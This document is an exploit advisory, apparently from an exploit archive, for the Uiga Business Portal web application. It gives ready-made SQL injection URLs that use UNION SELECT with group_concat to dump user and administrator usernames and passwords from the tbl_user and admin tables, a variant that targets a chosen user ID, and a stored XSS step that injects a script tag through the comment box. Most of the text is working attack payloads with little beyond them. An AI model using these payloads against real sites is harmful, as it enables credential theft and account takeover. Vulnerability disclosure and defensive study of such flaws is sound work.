79 lines
No EOL
1.9 KiB
Text
79 lines
No EOL
1.9 KiB
Text
# Exploit Title: Uiga Business Portal SQL/ XSS Vulnerability
|
|
# Date: 8/2/2010
|
|
# Author: Sioma Labs
|
|
# Site : http://www.scriptdevelopers.net
|
|
# Software Link: http://www.scriptdevelopers.net/download/uigapersonalportal.zip
|
|
# Version: N/A
|
|
# Tested on:
|
|
|
|
Linux
|
|
|
|
OS = Cent OS 5.4
|
|
Server = Apache/2.2.3
|
|
SQLDB = MYSQL v5.0.77
|
|
|
|
Windows
|
|
|
|
OS = Windows XPsp2
|
|
App = Wamp
|
|
|
|
|
|
# CVE : N/A
|
|
# Code : N/A
|
|
|
|
|
|
----------------------------------------------------
|
|
__ _ __ _
|
|
/ _(_) ___ _ __ ___ __ _ / / __ _| |__ ___
|
|
\ \| |/ _ \| '_ ` _ \ / _` | / / / _` | '_ \/ __|
|
|
_\ \ | (_) | | | | | | (_| | / /___ (_| | |_) \__ \
|
|
\__/_|\___/|_| |_| |_|\__,_| \____/\__,_|_.__/|___/
|
|
|
|
----------------------------------------------------
|
|
|
|
|
|
|
|
SQL Injection Vulnerability
|
|
|
|
UserAge : [host]/blog/index.php?view=noentryid&noentryid=[SQLi]
|
|
|
|
|
|
|
|
- User SQLi ->
|
|
--------------
|
|
|
|
Ex : http://server/ulgabusinessportak/blog/index.php?view=noentryid&noentryid=-20+Union+All+Select+1,2,3,4,5,group_concat(user_id,0x3a,username,0x3a,password),7,8,9,10+from+tbl_user--
|
|
|
|
|
|
- Admin SQLi ->
|
|
---------------
|
|
|
|
Ex : http://server/ulgabusinessportak/index2.php?c=29&p=-45+Union+All+Select 1,group_concat(admin_id,0x3a,admin_name,0x3a,admin_password),3,4,5+from+admin--
|
|
|
|
|
|
- Or Choice By User ID ->
|
|
--------------------------
|
|
|
|
http://server/ulgabusinessportak/blog/index.php?view=noentryid&noentryid=-20+Union+All+select+1,2,3,4,5,group_concat(username,0x3a,password),7,8,9,10+from+tbl_user+where+user_id=1--
|
|
|
|
*/ Change the last User ID
|
|
|
|
#######################################################################################################
|
|
|
|
|
|
|
|
XSS Vulnerability
|
|
--------
|
|
|
|
- You can inject html with the comment box
|
|
|
|
Test Link
|
|
http://server/ulgabusinessportak/blog/index.php?view=noentryid&noentryid=20
|
|
|
|
|
|
Inject "<script>alert("XSS")</script>" into the portal using Comment Box
|
|
|
|
|
|
|
|
# Sioma Agent -154
|
|
# http://siomalabs.com |